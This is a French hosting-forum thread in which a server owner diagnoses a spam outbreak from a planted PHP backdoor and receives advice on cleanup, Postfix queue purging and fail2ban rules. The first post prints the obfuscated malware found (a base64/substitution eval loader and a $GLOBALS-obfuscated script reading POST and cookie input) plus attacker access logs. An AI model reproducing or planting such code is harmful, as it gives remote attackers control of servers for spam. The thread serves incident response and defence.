OVH Community, votre nouvel espace communautaire.

Envoi de spam depuis mon serveur : port 25 bloqué by ovh


Ferris
16/06/2015, 09h30
Merci Nowwhat !

Vu mon niveau, je cherche, je cherche.

Pour ton 600 sec à passer à 6000000000000 sec (c'est sût que c'est mieux que les 10 heures/defaut), en cherchant, j'imagine que c'est la valeur

# "bantime" is the number of seconds that a host is banned.
bantime = 600


du fichier etc/fail2ban/jail.conf


Peux tu me donner ou me dire ou trouver plus d'info pour mettre cela en place dans mon serveur mail : disconnect from unknown[a.b.c.d] car suis pommé là

- - - Updated - - -



D'autre part, je decouvre dans mon etc/fail2ban/jail.conf

[apache-tcpwrapper]

enabled = false
filter = apache-auth
action = hostsdeny
logpath = /var/log/apache*/*error.log
/home/www/myhomepage/error.log
maxretry = 6

# The hosts.deny path can be defined with the "file" argument if it is
# not in /etc.

[postfix-tcpwrapper]

enabled = false
filter = postfix
action = hostsdeny[file=/not/a/standard/path/hosts.deny]
sendmail[name=Postfix, dest=you@mail.com]
logpath = /var/log/postfix.log
bantime = 300

C'est quoi ce tcpwrapper ?

ne serait il pas bon d'ajouter ceci :
[apache]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache*/*error.log
maxretry = 6

[postfix]
enabled = true
port = smtp,ssmtp
filter = postfix
logpath = /var/log/mail.log

Que pensez vous des tutos suivant :

http://linuxaria.com/howto/how-to-pr...-with-fail2ban

Nowwhat
16/06/2015, 07h57
Jep.
Fail2ban est notre amie

Puis tu t'amuse à faire tes filtres (pas mal sont déjà prêt à l'usage).
Par exemple:
Dès qua fail2ban détecte 3 (trois) tentatvies genre
Jun 14 00:32:47 ns12346 dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=, method=PLAIN, rip=155.133.18.177, lip=94.23.57.76
il va blacklister (mettre dans le paramfeu) l'IP 155.133.18.177 (change le temps qu'il reste là de 600 sec pour 6000000000000 sec).
etc etc etc.

Sur mon serveur mail je filtre même ceci:
disconnect from unknown[a.b.c.d]
Dès que j'en trouve quelques unes dans un espace de temps limité, je blacklist aussi ce serveur a.b.c.d qui a une crise d’identité (un serveur mail sans reverse valable => il faut la f**tre à la porte)).

- - - Mise à jour - - -

Jep.
Fail2ban est notre amie

Puis tu t'amuse à faire tes filtres (pas mal sont déjà prêt à l'usage).
Par exemple:
Dès qua fail2ban détecte 3 (trois) tentatvies genre
Jun 14 00:32:47 ns12346 dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=, method=PLAIN, rip=155.133.18.177, lip=94.23.57.76
il va blacklister (mettre dans le paramfeu) l'IP 155.133.18.177 (change le temps qu'il reste là de 600 sec pour 6000000000000 sec).
etc etc etc.

Sur mon serveur mail je filtre même ceci:
disconnect from unknown[a.b.c.d]
Dès que j'en trouve quelques unes dans un espace de temps limité, je blacklist aussi ce serveur a.b.c.d qui a une crise d’identité (un serveur mail sans reverse valable => il faut la f**tre à la porte)).

Ferris
15/06/2015, 19h38
Merci,

Dans mes logs mail, ça s'est calmé..

Maintenant, j'ai beaucoup de ligne du type :

Jun 13 23:16:04 ns12346 postfix/smtpd[20627]: warning: 212.253.204.81: hostname host-212-253-204-81.reverse.superonline.net verification failed: Name or service not known
Jun 13 23:16:04 ns12346 postfix/smtpd[20627]: connect from unknown[212.253.204.81]
Jun 13 23:16:04 ns12346 postfix/smtpd[20627]: lost connection after UNKNOWN from unknown[212.253.204.81]
Jun 13 23:16:04 ns12346 postfix/smtpd[20627]: disconnect from unknown[212.253.204.81]

ainsi que d'autres comme :

Jun 14 00:32:47 ns12346 dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=, method=PLAIN, rip=155.133.18.177, lip=94.23.57.76
Sachant que je n'utilise qu'un seul compte mail sur un domaine, pourriez me dire si je peux faire quelques chose pour freiner ou stopper des essais d'identification ?

fritz2cat
08/06/2015, 15h47
N'ayant jamais eu le port 25 de mes serveurs mis sous séquestre, je n'oserais pas affirmer pour sûr si le flux entrant est bloqué lui aussi.

1) interdire à tes utilisateurs locaux de soumettre du mail en local (par exemple celui qui possède le uid 519) cet article est intéressant: http://serverfault.com/questions/530...r-from-sending
2) postsuper -d xxxxx (pour tous les messages encore en queue)
3) maintenant tu peux redémarrer postfix pour qu'il reçoive ce qui lui arrive par le port SMTP
4) débloquer le port 25 bloqué par OVH

Du côté des serveurs "en face" qui doivent t'envoyer des mails et que ton serveur n'a pas pu réceptionner...
Historiquement le fichier de config sendmail.cf de Sun/OS proposait 4 ou 5 jours par défaut. C'était à une époque où les réseaux étaient beaucoup moins fiables qu'aujourd'hui. 24 heures serait plutôt la norme, et on voit même des serveurs réglés à 12 heures. Pendant cette durée le serveur expéditeur va ré-essayer soit à intervalles fixes, soit de plus en plus espacés, puis finalement jeter l'éponge et notifier l'expéditeur.

Ici on a le maillon faible: les gens qui ne lisent pas les messages d'erreur, et surtout quand ça revient 12, 24 ou 72 heures après l'envoi initial.

Nowwhat
06/06/2015, 13h53
Encore faut-il qu’il existe un blocage dans ce sens !
Le blocage "porte 25" consiste à bloquer les connections initié à partir de ton serveur vers un serveur "ailleurs', porte 25.
Dans l'autre sens, il n'y pas de blocage, ton serveur mail a du recevoir les mails entrant.

Il faut bien distinguer le travail dans le double sens d'un serveur mail : il réceptionne tout les mails, pour toutes les boites pour laquelle il est déclaré "récepteur".
Il va envoyer toutes les mails qui sont injecté sur place (par le 587 ou "la porte 25 - localhost" pour toutes les destinataires qui n'ont pas un boite 'sur place').

PS : mais quand on arrête son serveur mail - et nous n'avons pas pas un serveur mail de secours (un MX backup), dans ce cas, le serveur en face qui veut t'envoyer un mail va essayer quelques fois puis abandonner. Cette situation n'est pas très courante, car que les "MX backup" sont gratuit, alors, pourquoi s'en priver ??

Ferris
06/06/2015, 09h30
Ultime question : les mails legitimes qui m'ont été envoyés depuis que mon port 25 est bloqué sont ils revenus vers leur expediteur avec un message du type "unable to send" ou vont ils tous arrivés une fois le port 25 debloqué ?

Ferris
06/06/2015, 08h54
Citation Envoyé par Nowwhat
T'as ainsi trouvé comment les mails sont envoyés.

Reste à trouver la faille dans tes sites (test scripts à toi) qui permet le hackeur d'uploader les scripts à lui (article.php et title.php.....)
Utilise la date de création et date de modification de chaque fichiers et répertoire pour trouver toutes les fichiers qui ont été modifié et/ou crée récemment.

yes ! merci pour vos tuyaux !
y'a plus qu'à.

Nowwhat
06/06/2015, 07h39
T'as ainsi trouvé comment les mails sont envoyés.

Reste à trouver la faille dans tes sites (test scripts à toi) qui permet le hackeur d'uploader les scripts à lui (article.php et title.php.....)
Utilise la date de création et date de modification de chaque fichiers et répertoire pour trouver toutes les fichiers qui ont été modifié et/ou crée récemment.

Ferris
05/06/2015, 23h16
Mes logs mails s'affolent ... /home/log/maillog est passé de 52Mo à + de 100Mo en 48h (et 10.000 mail en queue dans postfix)

En faisant un postcat, j'ai decouvert ceci : X-PHP-Originating-Script: 519:article.php(1493) : eval()'d code

Le seul hic est de mon coté (offline), je n'ai aucun fichier "article.php" dans mes projets... par contre en recherchant sur mon dédié, j'ai trouvé le plaisantin planqué dans un dossier images (chmod 705) ... le fameux fichier article.php ... 1500 lignes en base64 :

function lenccwx($ilda, $pggnfueajg){$zrkyz = ''; for($i=0; $i < strlen($ilda); $i++){$zrkyz .= isset($pggnfueajg[$ilda[$i]]) ? $pggnfueajg[$ilda[$i]] : $ilda[$i];}
$yyoknht="base64_decode";return $yyoknht($zrkyz);}
$qu = ' ici 1500 lignes';
$hhjlwuvq = Array('1'=>'C', '0'=>'r', '3'=>'Y', '2'=>'d', '5'=>'4', '4'=>'A', '7'=>'U', '6'=>'c', '9'=>'y', '8'=>'Z', 'A'=>'E', 'C'=>'x', 'B'=>'j', 'E'=>'G', 'D'=>'q', 'G'=>'8', 'F'=>'u', 'I'=>'i', 'H'=>'b', 'K'=>'l', 'J'=>'6', 'M'=>'O', 'L'=>'3', 'O'=>'f', 'N'=>'g', 'Q'=>'V', 'P'=>'t', 'S'=>'X', 'R'=>'R', 'U'=>'N', 'T'=>'S', 'W'=>'0', 'V'=>'1', 'Y'=>'B', 'X'=>'w', 'Z'=>'n', 'a'=>'o', 'c'=>'W', 'b'=>'k', 'e'=>'a', 'd'=>'L', 'g'=>'p', 'f'=>'7', 'i'=>'Q', 'h'=>'J', 'k'=>'s', 'j'=>'K', 'm'=>'H', 'l'=>'M', 'o'=>'h', 'n'=>'e', 'q'=>'z', 'p'=>'9', 's'=>'v', 'r'=>'I', 'u'=>'P', 't'=>'m', 'w'=>'T', 'v'=>'F', 'y'=>'D', 'x'=>'5', 'z'=>'2');
eval(lenccwx($qu, $hhjlwuvq));?>
Le fichier est supprimé du serveur mais cela ne me dit toujours comment il est arrivé là

Si cela peut aider, j'ai trouvé plus occurrences à ce fameux "article.php"

Tout d'abord dans le fichier log "httpd/suphp_log" avec plusiseurs lignes identiques à celle ci :

[Fri Jun 05 04:55:14 2015] [info] Executing "/home/mondomaine/www/p/dossier/images/article.php" as UID 519, GID 100
puis dans "mon-domaine/access_log", c'est la fete du slip avec des centaines d'IP qui viennent lancer ce sataner fichier, un aperçu :

173.241.160.57 - - [05/Jun/2015:04:55:14 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 96 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
184.168.152.72 - - [05/Jun/2015:05:11:53 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
195.182.157.35 - - [05/Jun/2015:05:14:35 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
212.179.77.6 - - [05/Jun/2015:05:16:57 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
80.172.241.56 - - [05/Jun/2015:05:19:23 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
92.53.126.72 - - [05/Jun/2015:05:21:56 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
50.62.161.210 - - [05/Jun/2015:05:24:22 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
162.242.244.228 - - [05/Jun/2015:05:28:45 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
68.37.46.87 - - [05/Jun/2015:05:29:30 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
121.199.42.11 - - [05/Jun/2015:05:32:19 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
37.247.101.34 - - [05/Jun/2015:05:34:30 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
91.126.176.249 - - [05/Jun/2015:05:37:12 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
209.92.174.245 - - [05/Jun/2015:05:42:16 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
50.62.161.113 - - [05/Jun/2015:05:42:18 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
72.167.131.16 - - [05/Jun/2015:05:44:35 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
184.168.46.134 - - [05/Jun/2015:05:47:40 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
50.87.167.122 - - [05/Jun/2015:05:49:36 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
74.220.202.18 - - [05/Jun/2015:05:52:18 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
198.252.79.4 - - [05/Jun/2015:05:54:32 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
50.62.177.206 - - [05/Jun/2015:05:57:20 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
184.168.200.14 - - [05/Jun/2015:05:59:29 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
103.27.236.158 - - [05/Jun/2015:06:02:31 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
106.186.118.106 - - [05/Jun/2015:06:06:10 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
119.82.227.78 - - [05/Jun/2015:06:08:16 +0200] "POST /p/dossier/images/article.php HTTP/1.1" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
54.247.114.112 - - [05/Jun/2015:06:10:45 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
50.31.146.124 - - [05/Jun/2015:06:13:18 +0200] "POST /p/dossier/images/article.php HTTP/1.1" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
74.81.81.34 - - [05/Jun/2015:06:15:46 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
50.87.142.25 - - [05/Jun/2015:06:18:21 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
203.158.19.45 - - [05/Jun/2015:06:20:48 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
50.62.177.72 - - [05/Jun/2015:06:23:15 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
198.143.164.223 - - [05/Jun/2015:06:25:48 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
173.254.28.76 - - [05/Jun/2015:06:28:16 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
173.254.28.45 - - [05/Jun/2015:06:30:45 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
66.147.240.98 - - [05/Jun/2015:06:33:15 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
158.255.238.133 - - [05/Jun/2015:06:35:46 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
173.199.115.103 - - [05/Jun/2015:06:38:20 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
173.201.196.175 - - [05/Jun/2015:06:40:50 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"
72.167.159.101 - - [05/Jun/2015:06:43:19 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
188.121.41.220 - - [05/Jun/2015:06:45:51 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
212.83.185.231 - - [05/Jun/2015:06:48:18 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
50.63.197.63 - - [05/Jun/2015:06:50:50 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
173.236.101.18 - - [05/Jun/2015:06:53:24 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
92.42.36.35 - - [05/Jun/2015:06:55:48 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
210.211.97.238 - - [05/Jun/2015:06:58:32 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"
213.27.212.246 - - [05/Jun/2015:07:00:51 +0200] "POST /p/dossier/images/article.php HTTP/1.0" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26"


En redescendant d'un niveau, j'ai ensuite trouvé un fichier qui n'avait egalement rien à faire ici, il s'appelle 'title.php' et voici son contenu :

$GLOBALS[$GLOBALS['m262'][63].$GLOBALS['m262'][42].$GLOBALS['m262'][15].$GLOBALS['m262'][61].$GLOBALS['m262'][38].$GLOBALS['m262'][42].$GLOBALS['m262'][38]] = $GLOBALS['m262'][58].$GLOBALS['m262'][88].$GLOBALS['m262'][17];
$GLOBALS[$GLOBALS['m262'][96].$GLOBALS['m262'][60].$GLOBALS['m262'][71].$GLOBALS['m262'][15]] = $GLOBALS['m262'][66].$GLOBALS['m262'][17].$GLOBALS['m262'][38];
$GLOBALS[$GLOBALS['m262'][41].$GLOBALS['m262'][15].$GLOBALS['m262'][58].$GLOBALS['m262'][87].$GLOBALS['m262'][38].$GLOBALS['m262'][60]] = $GLOBALS['m262'][38].$GLOBALS['m262'][92].$GLOBALS['m262'][42].$GLOBALS['m262'][32].$GLOBALS['m262'][70].$GLOBALS['m262'][92];
$GLOBALS[$GLOBALS['m262'][78].$GLOBALS['m262'][64].$GLOBALS['m262'][42].$GLOBALS['m262'][69].$GLOBALS['m262'][85]] = $GLOBALS['m262'][19].$GLOBALS['m262'][48].$GLOBALS['m262'][17].$GLOBALS['m262'][6].$GLOBALS['m262'][92].$GLOBALS['m262'][70];
$GLOBALS[$GLOBALS['m262'][84].$GLOBALS['m262'][15].$GLOBALS['m262'][35].$GLOBALS['m262'][64]] = $GLOBALS['m262'][38].$GLOBALS['m262'][92].$GLOBALS['m262'][42].$GLOBALS['m262'][32].$GLOBALS['m262'][70].$GLOBALS['m262'][92].$GLOBALS['m262'][38];
$GLOBALS[$GLOBALS['m262'][6].$GLOBALS['m262'][42].$GLOBALS['m262'][15].$GLOBALS['m262'][64].$GLOBALS['m262'][38]] = $GLOBALS['m262'][32].$GLOBALS['m262'][70].$GLOBALS['m262'][32].$GLOBALS['m262'][90].$GLOBALS['m262'][19].$GLOBALS['m262'][92].$GLOBALS['m262'][48];
$GLOBALS[$GLOBALS['m262'][48].$GLOBALS['m262'][46].$GLOBALS['m262'][87].$GLOBALS['m262'][61]] = $GLOBALS['m262'][19].$GLOBALS['m262'][92].$GLOBALS['m262'][17].$GLOBALS['m262'][32].$GLOBALS['m262'][63].$GLOBALS['m262'][6].$GLOBALS['m262'][32].$GLOBALS['m262'][78].$GLOBALS['m262'][92];
$GLOBALS[$GLOBALS['m262'][32].$GLOBALS['m262'][46].$GLOBALS['m262'][60].$GLOBALS['m262'][46].$GLOBALS['m262'][81].$GLOBALS['m262'][64].$GLOBALS['m262'][85].$GLOBALS['m262'][46]] = $GLOBALS['m262'][8].$GLOBALS['m262'][88].$GLOBALS['m262'][8].$GLOBALS['m262'][94].$GLOBALS['m262'][92].$GLOBALS['m262'][17].$GLOBALS['m262'][19].$GLOBALS['m262'][32].$GLOBALS['m262'][66].$GLOBALS['m262'][70];
$GLOBALS[$GLOBALS['m262'][41].$GLOBALS['m262'][58].$GLOBALS['m262'][61].$GLOBALS['m262'][35].$GLOBALS['m262'][35].$GLOBALS['m262'][58].$GLOBALS['m262'][46].$GLOBALS['m262'][64]] = $GLOBALS['m262'][1].$GLOBALS['m262'][70].$GLOBALS['m262'][19].$GLOBALS['m262'][92].$GLOBALS['m262'][17].$GLOBALS['m262'][32].$GLOBALS['m262'][63].$GLOBALS['m262'][6].$GLOBALS['m262'][32].$GLOBALS['m262'][78].$GLOBALS['m262'][92];
$GLOBALS[$GLOBALS['m262'][84].$GLOBALS['m262'][61].$GLOBALS['m262'][92].$GLOBALS['m262'][38].$GLOBALS['m262'][60].$GLOBALS['m262'][87]] = $GLOBALS['m262'][69].$GLOBALS['m262'][63].$GLOBALS['m262'][19].$GLOBALS['m262'][92].$GLOBALS['m262'][15].$GLOBALS['m262'][46].$GLOBALS['m262'][90].$GLOBALS['m262'][38].$GLOBALS['m262'][92].$GLOBALS['m262'][58].$GLOBALS['m262'][66].$GLOBALS['m262'][38].$GLOBALS['m262'][92];
$GLOBALS[$GLOBALS['m262'][96].$GLOBALS['m262'][92].$GLOBALS['m262'][63].$GLOBALS['m262'][15].$GLOBALS['m262'][69]] = $GLOBALS['m262'][19].$GLOBALS['m262'][92].$GLOBALS['m262'][48].$GLOBALS['m262'][90].$GLOBALS['m262'][48].$GLOBALS['m262'][32].$GLOBALS['m262'][96].$GLOBALS['m262'][92].$GLOBALS['m262'][90].$GLOBALS['m262'][6].$GLOBALS['m262'][32].$GLOBALS['m262'][96].$GLOBALS['m262'][32].$GLOBALS['m262'][48];
$GLOBALS[$GLOBALS['m262'][41].$GLOBALS['m262'][64].$GLOBALS['m262'][92].$GLOBALS['m262'][64].$GLOBALS['m262'][58].$GLOBALS['m262'][69].$GLOBALS['m262'][60]] = $GLOBALS['m262'][19].$GLOBALS['m262'][85].$GLOBALS['m262'][42].$GLOBALS['m262'][15];
$GLOBALS[$GLOBALS['m262'][66].$GLOBALS['m262'][61].$GLOBALS['m262'][92].$GLOBALS['m262'][42].$GLOBALS['m262'][38].$GLOBALS['m262'][71]] = $GLOBALS['m262'][96].$GLOBALS['m262'][38].$GLOBALS['m262'][46].$GLOBALS['m262'][81].$GLOBALS['m262'][58].$GLOBALS['m262'][38].$GLOBALS['m262'][35];
$GLOBALS[$GLOBALS['m262'][62].$GLOBALS['m262'][15].$GLOBALS['m262'][64].$GLOBALS['m262'][64]] = $_POST;
$GLOBALS[$GLOBALS['m262'][59].$GLOBALS['m262'][69].$GLOBALS['m262'][81].$GLOBALS['m262'][60].$GLOBALS['m262'][42].$GLOBALS['m262'][64].$GLOBALS['m262'][60].$GLOBALS['m262'][85].$GLOBALS['m262'][81]] = $_COOKIE;
@$GLOBALS[$GLOBALS['m262'][6].$GLOBALS['m262'][42].$GLOBALS['m262'][15].$GLOBALS['m262'][64].$GLOBALS['m262'][38]]($GLOBALS['m262'][92].$GLOBALS['m262'][17].$GLOBALS['m262'][17].$GLOBALS['m262'][66].$GLOBALS['m262'][17].$GLOBALS['m262'][90].$GLOBALS['m262'][6].$GLOBALS['m262'][66].$GLOBALS['m262'][84], NULL);
@$GLOBALS[$GLOBALS['m262'][6].$GLOBALS['m262'][42].$GLOBALS['m262'][15].$GLOBALS['m262'][64].$GLOBALS['m262'][38]]($GLOBALS['m262'][6].$GLOBALS['m262'][66].$GLOBALS['m262'][84].$GLOBALS['m262'][90].$GLOBALS['m262'][92].$GLOBALS['m262'][17].$GLOBALS['m262'][17].$GLOBALS['m262'][66].$GLOBALS['m262'][17].$GLOBALS['m262'][19], 0);
@$GLOBALS[$GLOBALS['m262'][6].$GLOBALS['m262'][42].$GLOBALS['m262'][15].$GLOBALS['m262'][64].$GLOBALS['m262'][38]]($GLOBALS['m262'][96].$GLOBALS['m262'][63].$GLOBALS['m262'][59].$GLOBALS['m262'][90].$GLOBALS['m262'][92].$GLOBALS['m262'][59].$GLOBALS['m262'][92].$GLOBALS['m262'][58].$GLOBALS['m262'][1].$GLOBALS['m262'][48].$GLOBALS['m262'][32].$GLOBALS['m262'][66].$GLOBALS['m262'][70].$GLOBALS['m262'][90].$GLOBALS['m262'][48].$GLOBALS['m262'][32].$GLOBALS['m262'][96].$GLOBALS['m262'][92], 0);
@$GLOBALS[$GLOBALS['m262'][96].$GLOBALS['m262'][92].$GLOBALS['m262'][63].$GLOBALS['m262'][15].$GLOBALS['m262'][69]](0);

if(!$GLOBALS[$GLOBALS['m262'][84].$GLOBALS['m262'][15].$GLOBALS['m262'][35].$GLOBALS['m262'][64]]($GLOBALS['m262'][27].$GLOBALS['m262'][77].$GLOBALS['m262'][27].$GLOBALS['m262'][90].$GLOBALS['m262'][76].$GLOBALS['m262'][86].$GLOBALS['m262'][39]))
{
$GLOBALS[$GLOBALS['m262'][41].$GLOBALS['m262'][15].$GLOBALS['m262'][58].$GLOBALS['m262'][87].$GLOBALS['m262'][38].$GLOBALS['m262'][60]]($GLOBALS['m262'][27].$GLOBALS['m262'][77].$GLOBALS['m262'][27].$GLOBALS['m262'][90].$GLOBALS['m262'][76].$GLOBALS['m262'][86].$GLOBALS['m262'][39], $GLOBALS['m262'][18].$GLOBALS['m262'][70]);
}

if(!$GLOBALS[$GLOBALS['m262'][84].$GLOBALS['m262'][15].$GLOBALS['m262'][35].$GLOBALS['m262'][64]]($GLOBALS['m262'][57].$GLOBALS['m262'][47].$GLOBALS['m262'][54].$GLOBALS['m262'][76].$GLOBALS['m262'][16].$GLOBALS['m262'][52].$GLOBALS['m262'][86].$GLOBALS['m262'][54].$GLOBALS['m262'][5].$GLOBALS['m262'][90].$GLOBALS['m262'][12].$GLOBALS['m262'][76].$GLOBALS['m262'][27].$GLOBALS['m262'][3].$GLOBALS['m262'][54].$GLOBALS['m262'][3].$GLOBALS['m262'][52].$GLOBALS['m262'][86].$GLOBALS['m262'][54]))
{
$GLOBALS[$GLOBALS['m262'][41].$GLOBALS['m262'][15].$GLOBALS['m262'][58].$GLOBALS['m262'][87].$GLOBALS['m262'][38].$GLOBALS['m262'][60]]($GLOBALS['m262'][57].$GLOBALS['m262'][47].$GLOBALS['m262'][54].$GLOBALS['m262'][76].$GLOBALS['m262'][16].$GLOBALS['m262'][52].$GLOBALS['m262'][86].$GLOBALS['m262'][54].$GLOBALS['m262'][5].$GLOBALS['m262'][90].$GLOBALS['m262'][12].$GLOBALS['m262'][76].$GLOBALS['m262'][27].$GLOBALS['m262'][3].$GLOBALS['m262'][54].$GLOBALS['m262'][3].$GLOBALS['m262'][52].$GLOBALS['m262'][86].$GLOBALS['m262'][54], $GLOBALS['m262'][80]);
}

$c6b0e972a = NULL;
$z3ca842 = NULL;

